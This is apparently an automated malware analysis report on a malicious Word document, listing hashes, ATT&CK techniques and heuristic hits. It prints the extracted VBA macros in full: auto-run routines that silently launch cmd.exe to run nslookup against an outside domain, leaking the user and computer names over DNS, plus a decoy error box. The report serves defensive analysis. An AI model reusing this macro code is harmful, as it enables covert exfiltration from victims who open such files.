Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a6603a6cddb5dcbc…

MALICIOUS

Office (OOXML)

73.3 KB Created: 2021-06-15 22:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-28
MD5: 7bd56d721bbb6d912074689ae9341139 SHA-1: 0981cbfbdc7aefcd1eee4a8fd2436f5002aec44e SHA-256: a6603a6cddb5dcbc6afdf0b17d77b401baa8891e5bcab5b7600cb05abc6f0e10
218 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment T1071.004 DNS

The sample is a malicious OOXML document containing VBA macros. The AutoOpen and document_open macros utilize WScript.Shell to execute cmd.exe. These commands perform DNS lookups to a domain that includes system information, suggesting reconnaissance. The use of cmd.exe and VBA macros points to T1059.003 and T1059.005 respectively. The DNS lookups indicate T1071.004. The overall behavior suggests a macro-based downloader, likely delivered via spearphishing attachment (T1566.001).

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Private Sub document_open()
Set oShell = CreateObject("Wscript.Shell")
random = Int(100 * Rnd) + 99
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Private Sub document_open()
Set oShell = CreateObject("Wscript.Shell")
random = Int(100 * Rnd) + 99
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Dim strArgs
strArgs = "cmd /c nslookup " & random & ".%USERNAME%.%COMPUTERNAME%.a.rosselkhozbank.ru"
oShell.Run strArgs, 0, False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoExec"
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub document_open()
Set oShell = CreateObject("Wscript.Shell")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 916 bytes
SHA-256: 1576b24999f565ca0ca8985d72ff42edf1d479ce9dbc672020b6769459c8efa9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open()
Set oShell = CreateObject("Wscript.Shell")
random = Int(100 * Rnd) + 99
Dim strArgs
strArgs = "cmd /c nslookup " & random & ".%USERNAME%.%COMPUTERNAME%.a.rosselkhozbank.ru"
oShell.Run strArgs, 0, False

End Sub


Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.AutoExec"
Set oShell = CreateObject("Wscript.Shell")
random = Int(100 * Rnd) + 99
Dim strArgs
strArgs = "cmd /c nslookup dns." & random & ".%USERNAME%.%COMPUTERNAME%.a.rosselkhozbank.ru"
oShell.Run strArgs, 0, False

MsgBox "Encryption error", 17
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17920 bytes
SHA-256: 8097c36d6a2d9d22509fb6d7c170e8d4afd83d0d147af4d1786b56c269481fb8

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